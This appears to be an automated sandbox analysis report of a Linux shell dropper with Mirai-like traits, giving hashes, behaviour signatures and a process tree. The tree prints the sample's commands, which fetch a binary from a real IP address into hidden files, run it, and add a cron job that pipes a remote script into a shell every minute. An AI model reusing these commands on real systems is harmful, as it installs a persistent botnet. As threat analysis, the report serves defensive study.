Analysis
- max time kernel
147s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
20/06/2026, 06:18
Static task
static1
Behavioral task
behavioral1
Sample
init.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
init.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
init.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
init.sh
Resource
debian9-mipsel-20260513-en
General
- Target init.sh
- Size 12KB
- Sample260620-g2pydaey91
- SHA256 bb5ec0fa428ab921e6f2b7439647deeb26f5376575fa90a4f1ef825c4fcab2cb
- MD5 20221d2be8d63ae00fe1a3a6beb3ade8
- SHA1 cc41b471ed67dee668608bde10977fd4e4bf14f0
- SHA512 7addead2ac2ea061e080d4a4992d891cc6106116021eee905c4c9d37f27c1f941c54b64924ae9973cb6d6928a34a48b59d89ac22c9825fa85d59136ab7954996
- SSDEEP 384:Xyb6lp2sY04JbwFp0q8jJzwVpk8Oc7FwV+9:CbA2HV87D8l0LxOvE9
- TLSH T142426552BC7156352B5CC0B6A6C93604E54F023F09687C44B0AFA524BF38B5C92BE7BE
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 686 chmod 728 chmod 783 chmod - Deletes itself 2 IoCs
pid Process 693 .d 788 .d - Executes dropped EXE 2 IoCs
ioc pid Process /tmp/.d 690 init.sh /dev/shm/.d 786 init.sh - Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/misc/watchdog .d File opened for modification /dev/watchdog .d File opened for modification /dev/misc/watchdog .d File opened for modification /dev/watchdog .d - Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.viN9du crontab File opened for modification /var/spool/cron/crontabs/root .d File opened for modification /var/spool/cron/crontabs/tmp.fFcMqD crontab File opened for modification /var/spool/cron/crontabs/root .d - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp .d - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/redis-sentinel.service .d - Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/eth0/address .d File opened for reading /sys/class/net/eth0/address .d -
resource yara_rule behavioral2/files/fstream-1.dat upx - Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 693 .d Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 788 .d - Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo .d File opened for reading /proc/cpuinfo .d - Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp .d - Enumerates kernel/hardware configuration 1 TTPs 4 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/class/net .d File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/class/net .d -
description ioc Process File opened for reading /proc/11/status pkill File opened for reading /proc/17/status pkill File opened for reading /proc/28/status pkill File opened for reading /proc/106/status pkill File opened for reading /proc/6/stat .d File opened for reading /proc/108/stat .d File opened for reading /proc/25/cmdline pkill File opened for reading /proc/320/status pkill File opened for reading /proc/1/status pkill File opened for reading /proc/41/cmdline pkill File opened for reading /proc/22/cmdline .d File opened for reading /proc/23/status pkill File opened for reading /proc/667/status pkill File opened for reading /proc/3/status pkill File opened for reading /proc/3/cmdline pkill File opened for reading /proc/710/cmdline pkill File opened for reading /proc/591/cmdline pkill File opened for reading /proc/643/status pkill File opened for reading /proc/233/stat .d File opened for reading /proc/1/status pkill File opened for reading /proc/298/stat .d File opened for reading /proc/591/stat .d File opened for reading /proc/169/status pkill File opened for reading /proc/16/status pkill File opened for reading /proc/304/cmdline .d File opened for reading /proc/601/cmdline .d File opened for reading /proc/108/cmdline .d File opened for reading /proc/28/stat .d File opened for reading /proc/159/cmdline .d File opened for reading /proc/3/cmdline pkill File opened for reading /proc/290/status pkill File opened for reading /proc/20/status pkill File opened for reading /proc/159/status pkill File opened for reading /proc/312/status pkill File opened for reading /proc/self/exe .d File opened for reading /proc/647/status pkill File opened for reading /proc/134/stat .d File opened for reading /proc/312/stat .d File opened for reading /proc/26/cmdline pkill File opened for reading /proc/601/cmdline pkill File opened for reading /proc/3/cmdline .d File opened for reading /proc/filesystems crontab File opened for reading /proc/self/stat systemctl File opened for reading /proc/591/status pkill File opened for reading /proc/693/status pkill File opened for reading /proc/26/cmdline pkill File opened for reading /proc/304/status pkill File opened for reading /proc/13/cmdline .d File opened for reading /proc/5/status pkill File opened for reading /proc/5/cmdline pkill File opened for reading /proc/20/cmdline pkill File opened for reading /proc/cmdline systemctl File opened for reading /proc/662/status pkill File opened for reading /proc/27/status pkill File opened for reading /proc/169/cmdline .d File opened for reading /proc/851/stat .d File opened for reading /proc/689/cmdline .d File opened for reading /proc/7/status pkill File opened for reading /proc/711/status pkill File opened for reading /proc/76/cmdline pkill File opened for reading /proc/17/cmdline .d File opened for reading /proc/601/stat .d File opened for reading /proc/651/stat .d File opened for reading /proc/13/cmdline .d - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/.d wget - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bot_exit_reason .d File opened for modification /tmp/.redis-server.pid .d File opened for modification /tmp/.d wget File opened for modification /tmp/.bot_exit_reason .d File opened for modification /tmp/.redis-server.pid .d
Processes
-
/tmp/init.sh/tmp/init.sh1⤵
- Executes dropped EXE
PID:655 -
/bin/unameuname -m2⤵PID:656
-
-
/usr/bin/awkawk -F/ "{print \$3}"2⤵PID:660
-
-
/usr/bin/cutcut -d: -f12⤵PID:661
-
-
/usr/bin/wgetwget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /tmp/.d2⤵
- Writes file to tmp directory
PID:668
-
-
/bin/chmodchmod +x /tmp/.d2⤵
- File and Directory Permissions Modification
PID:686
-
-
/bin/sleepsleep 22⤵PID:689
-
-
/tmp/.d/tmp/.d2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:690 -
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"3⤵PID:695
-
/bin/systemctl/bin/systemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:696
-
-
-
/bin/shsh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"3⤵PID:709
-
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service4⤵
- Enumerates kernel/hardware configuration
PID:710
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵PID:733
-
/usr/bin/crontab/usr/bin/crontab -l4⤵PID:735
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 693 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵PID:737
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
PID:738
-
-
-
-
/usr/bin/pkillpkill -f /tmp/.d2⤵
- Reads CPU attributes
- Reads runtime system information
PID:711
-
-
/bin/rmrm -f /tmp/.d2⤵PID:724
-
-
/usr/bin/wgetwget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /var/run/.d2⤵PID:725
-
-
/bin/chmodchmod +x /var/run/.d2⤵
- File and Directory Permissions Modification
PID:728
-
-
/bin/sleepsleep 22⤵PID:730
-
-
/var/run/.d/var/run/.d2⤵PID:731
-
-
/usr/bin/pkillpkill -f /var/run/.d2⤵
- Reads CPU attributes
- Reads runtime system information
PID:780
-
-
/bin/rmrm -f /var/run/.d2⤵PID:781
-
-
/usr/bin/wgetwget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /dev/shm/.d2⤵
- Writes file to shm directory
PID:782
-
-
/bin/chmodchmod +x /dev/shm/.d2⤵
- File and Directory Permissions Modification
PID:783
-
-
/bin/sleepsleep 22⤵PID:785
-
-
/dev/shm/.d/dev/shm/.d2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:786 -
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵PID:811
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
- Reads runtime system information
PID:813
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 788 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵PID:816
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
PID:817
-
-
-
-
/bin/rmrm -f /tmp/init.sh2⤵PID:825
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/.d
- Size 102KB
- SHA256 e80bdd61c33b35d0697f5a183b78f255b0ccb86d39784af9b9f7916d93129998
- MD5 31960122a2b532ff1480019a9999d479
- SHA1 d9db4555358d9c3984c88ca60ebcef3a02bee149
- SHA512 599a1c096d8be54beaecdbd79e6c9d42def1a87ca79ac72e3d373ffb5c6a9b055b983f8ad058bcf5c09ddd36c55bd6dd322d398135a7d96eb60d057e9779acb3
- SSDEEP 3072:Cng01ewb5Wh5Oe52bnGGvaZ1KWeM/njak:Cng2e7qesiWanKKX
- TLSH T15AA3123826DD584BD4B849B03129A12517BF5A20EBDA1FA769E88EE1CD070C77BF1317
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /var/spool/cron/crontabs/tmp.fFcMqD
- Size 342B
- SHA256 c96535ff0651bf29f7f97431b6327f15b9e6600a27f788382fa189b72a00a512
- MD5 f544cc67fc8df6a3acc945b521e06ca1
- SHA1 71c4c541a5df20b5d2c7cd995a25fb94d540fc41
- SHA512 0bc0831ed4131fb3e65ed9da6726e750aab4d95a315de49a9ff3df586fb3c324e5fb82c0dc8c59eabe6bb787436102441c54894ad22112ac4eb8ffb4b5432750
- TLSH T1B3E0C0A8BE5265316D054B1C1379A63C6482E5BFA8A9FF60D88C4804001C30E769CE30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.viN9du
- Size 342B
- SHA256 a42ec9535b0c29fe7fc18360a1a02931badad12fa7a4c664e7841603896e9a5b
- MD5 84107ed080af6da66147bf822c7a8dc3
- SHA1 a8ebfbe3fe64a5f79053f5b165aab36af0285e8a
- SHA512 5debc7411611d64e143a7f4d9ea6451331ea28343dc96b6bb21491bbca39c1a1df196bf6b1051ca359606e1dcb76830830f15084887772786eeb391443a63a8d
- TLSH T16EE0C0A8BE1219316D054A5C1379957C5482E4BFA8A9FF51D88C4804005C30F769CE30
- MD5 SHA1 SHA512 TLSH